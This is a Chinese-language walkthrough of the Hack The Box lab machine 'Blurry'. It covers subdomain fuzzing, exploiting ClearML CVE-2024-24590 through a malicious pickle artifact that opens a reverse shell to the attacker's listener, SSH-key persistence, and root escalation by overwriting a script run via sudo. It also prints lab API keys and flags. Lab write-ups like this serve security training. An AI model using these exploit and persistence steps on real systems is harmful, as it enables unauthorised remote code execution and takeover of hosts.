简介
靶机名称:Blurry
难度:中等
靶场地址:https://app.hackthebox.com/machines/605
本地环境
靶机IP :10.10.11.19
linux渗透机IP(kali 2024.2):10.10.16.17
windows渗透机IP(windows11):10.10.14.20
扫描
nmap感觉是被阻滞了,奇慢无比,先fscan垫一下好了
fscan -h 10.10.11.19 -nobr -p "1-65535"
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
10.10.11.19:22 open
10.10.11.19:80 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://10.10.11.19 code:301 len:169 title:301 Moved Permanently 跳转url: http://app.blurry.htb/
已完成 2/2
[*] 扫描结束,耗时: 10.272005218s
经典22和80。80有重定向,先把app.blurry.htb
加入hosts再操作。
HTTP
这个clearML是github上面的一个开源项目,相当于一个机器学习资源和任务管理平台。
还没得到更多信息,先转到其他方向。
子域名爆破
ffuf -w $HVV_Tool/8_dict/seclist/Discovery/DNS/subdomains-top1million-20000.txt -u http://app.blurry.htb -H "Host: FUZZ.blurry.htb" -fw 5
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://app.blurry.htb
:: Wordlist : FUZZ: /home/kali/1_Tool/1_HVV/8_dict/seclist/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: FUZZ.blurry.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 5
________________________________________________
files [Status: 200, Size: 2, Words: 1, Lines: 1, Duration: 99ms]
app [Status: 200, Size: 13327, Words: 382, Lines: 29, Duration: 123ms]
chat [Status: 200, Size: 218733, Words: 12692, Lines: 449, Duration: 98ms]
整合一下hosts如下
10.10.11.19 app.blurry.htb
10.10.11.19 blurry.htb
10.10.11.19 files.blurry.htb
10.10.11.19 app.blurry.htb
10.10.11.19 chat.blurry.htb
10.10.11.19 api.blurry.htb
files.blurry.htb
没有什么东西,看着像接口之类的?
chat则有东西了
chat信息收集
因为没有任何账密信息,所以先创个号进去看看能不能收集到什么。
有一个公共频道
聊天内容就是冲评审了。这个不是重点,把用户名和全称都统计一下。
jippity
irisview
raytrace
lenasphere
dioptric
Iris Pupil
Chad Jippity
Lena Tick
Ray Flection
Dio Ptrie
Black Swan
需要注意的是,频道有两个,只是general默认置顶而已
两条公告看下来,首先我们知道除了clearML和rocket.chat之外,还有一个专门用于实验的平台,目前未知。还有,他们负责的项目是Black Swan
(黑天鹅)
然后找不到更多信息了。回到clearML平台。
clearML
输入Chad Jippity
,直接成功登陆了。
登录之后能操作的就很多了。网上查了一下,clearML有一个很新的漏洞,CVE-2024-24590
,有poc能直接打
https://github.com/OxyDeV2/ClearML-CVE-2024-24590
在使用该poc之前,我们要得到服务器认证。首先到用户界面的workspace
下创建新凭据
创建后把配置信息保存下来
然后在攻击机上用pip下载clearml
库,然后执行命令clearml-init
,把刚刚复制的配置信息粘贴进去即可
api {
web_server: http://app.blurry.htb
api_server: http://api.blurry.htb
files_server: http://files.blurry.htb
credentials {
"access_key" = "K5B069CS9ZIXBGX2S9C7"
"secret_key" = "jHmPmqHLHeOqkRwk8pR06y8rQBd82QWr9UjdDJBxKmXTitXPnP"
}
}
起个监听后,就可以用poc直接打了……嗯?为什么无效
首先要知道这个poc的作用仅仅是上传一个包含shell代码的pickle文件到项目中,只有当别人下载该文件并加载它时,我们的shell才会被运行。也就是说clearML本身是不会跑代码的。
黑天鹅项目中有一个很显眼的定时任务Review JSON Artifacts
,大概是每过几分钟就执行一次,内容如下
#!/usr/bin/python3
from clearml import Task
from multiprocessing import Process
from clearml.backend_api.session.client import APIClient
def process_json_artifact(data, artifact_name):
"""
Process a JSON artifact represented as a Python dictionary.
Print all key-value pairs contained in the dictionary.
"""
print(f"[+] Artifact '{artifact_name}' Contents:")
for key, value in data.items():
print(f" - {key}: {value}")
def process_task(task):
artifacts = task.artifacts
for artifact_name, artifact_object in artifacts.items():
data = artifact_object.get()
if isinstance(data, dict):
process_json_artifact(data, artifact_name)
else:
print(f"[!] Artifact '{artifact_name}' content is not a dictionary.")
def main():
review_task = Task.init(project_name="Black Swan",
task_name="Review JSON Artifacts",
task_type=Task.TaskTypes.data_processing)
# Retrieve tasks tagged for review
tasks = Task.get_tasks(project_name='Black Swan', tags=["review"], allow_archived=False)
if not tasks:
print("[!] No tasks up for review.")
return
threads = []
for task in tasks:
print(f"[+] Reviewing artifacts from task: {task.name} (ID: {task.id})")
p = Process(target=process_task, args=(task,))
p.start()
threads.append(p)
task.set_archived(True)
for thread in threads:
thread.join(60)
if thread.is_alive():
thread.terminate()
# Mark the ClearML task as completed
review_task.close()
def cleanup():
client = APIClient()
tasks = client.tasks.get_all(
system_tags=["archived"],
only_fields=["id"],
order_by=["-last_update"],
page_size=100,
page=0,
)
# delete and cleanup tasks
for task in tasks:
# noinspection PyBroadException
try:
deleted_task = Task.get_task(task_id=task.id)
deleted_task.delete(
delete_artifacts_and_models=True,
skip_models_used_by_other_tasks=True,
raise_on_error=False
)
except Exception as ex:
continue
if __name__ == "__main__":
main()
cleanup()
简单解释一下就是:
- 初始化一个名为“Review JSON Artifacts”的 ClearML 任务。
- 检索标记为“review”且未归档的任务。
- 如果没有任务可供审查,则打印警告消息并返回。
- 对于每个待审查的任务,启动一个新进程来处理该任务,并将任务标记为已归档。
- 等待所有进程完成,如果进程在 60 秒内未完成,则终止它。
- 将 ClearML 任务标记为已完成。
也就是说,只有tag
为review
的工作才会被执行自动任务的主机下载并审查。审查细节不用去了解,只要知道它肯定会运行并跑我们的shell即可。
于是最终命令如下:
python3 exploit.py --project_name "Black Swan" --task_name "test" --artifact_name "test" --tags "review" --ip "10.10.16.17" --port "40001"
监听:
rlwrap -cAr nc -lvvp 40001
(真的感觉等了好长时间,中间差点以为不行打算推翻重来。)
在当前目录下找到user.txt
4645965a4154a71c0466950107e77693
提权
先把ssh公钥传上去维权。
cd ~/.ssh
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK5sWbMpzoFOhxwVIjKUYvvMce5kR6XSmnTp7u2TlCmW kali@kali" >> authorized_keys
看一眼网络,活跃端口还真不少
tcp 0 0 127.0.0.1:8008 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8081 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
初次之外,sudo -l也有内容
Matching Defaults entries for jippity on blurry:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jippity may run the following commands on blurry:
(root) NOPASSWD: /usr/bin/evaluate_model /models/*.pth
这个evaluate_model
是个shell脚本,内容如下
#!/bin/bash
# Evaluate a given model against our proprietary dataset.
# Security checks against model file included.
if [ "$#" -ne 1 ]; then
/usr/bin/echo "Usage: $0 <path_to_model.pth>"
exit 1
fi
MODEL_FILE="$1"
TEMP_DIR="/models/temp"
PYTHON_SCRIPT="/models/evaluate_model.py"
/usr/bin/mkdir -p "$TEMP_DIR"
file_type=$(/usr/bin/file --brief "$MODEL_FILE")
# Extract based on file type
if [[ "$file_type" == *"POSIX tar archive"* ]]; then
# POSIX tar archive (older PyTorch format)
/usr/bin/tar -xf "$MODEL_FILE" -C "$TEMP_DIR"
elif [[ "$file_type" == *"Zip archive data"* ]]; then
# Zip archive (newer PyTorch format)
/usr/bin/unzip -q "$MODEL_FILE" -d "$TEMP_DIR"
else
/usr/bin/echo "[!] Unknown or unsupported file format for $MODEL_FILE"
exit 2
fi
/usr/bin/find "$TEMP_DIR" -type f \( -name "*.pkl" -o -name "pickle" \) -print0 | while IFS= read -r -d $'\0' extracted_pkl; do
fickling_output=$(/usr/local/bin/fickling -s --json-output /dev/fd/1 "$extracted_pkl")
if /usr/bin/echo "$fickling_output" | /usr/bin/jq -e 'select(.severity == "OVERTLY_MALICIOUS")' >/dev/null; then
/usr/bin/echo "[!] Model $MODEL_FILE contains OVERTLY_MALICIOUS components and will be deleted."
/bin/rm "$MODEL_FILE"
break
fi
done
/usr/bin/find "$TEMP_DIR" -type f -exec /bin/rm {} +
/bin/rm -rf "$TEMP_DIR"
if [ -f "$MODEL_FILE" ]; then
/usr/bin/echo "[+] Model $MODEL_FILE is considered safe. Processing..."
/usr/bin/python3 "$PYTHON_SCRIPT" "$MODEL_FILE"
fi
只要知道这个脚本会对/models
路径下的pth文件审查,通过后会用evaluate_model.py
来跑就行了。
偏偏我们正好对evaluate_model.py
有写权限
那就没什么好说的了,直接写入梭了。
import os
os.system("/bin/bash")
b4fe6bf95fed2a23dd0dee2669175363
结束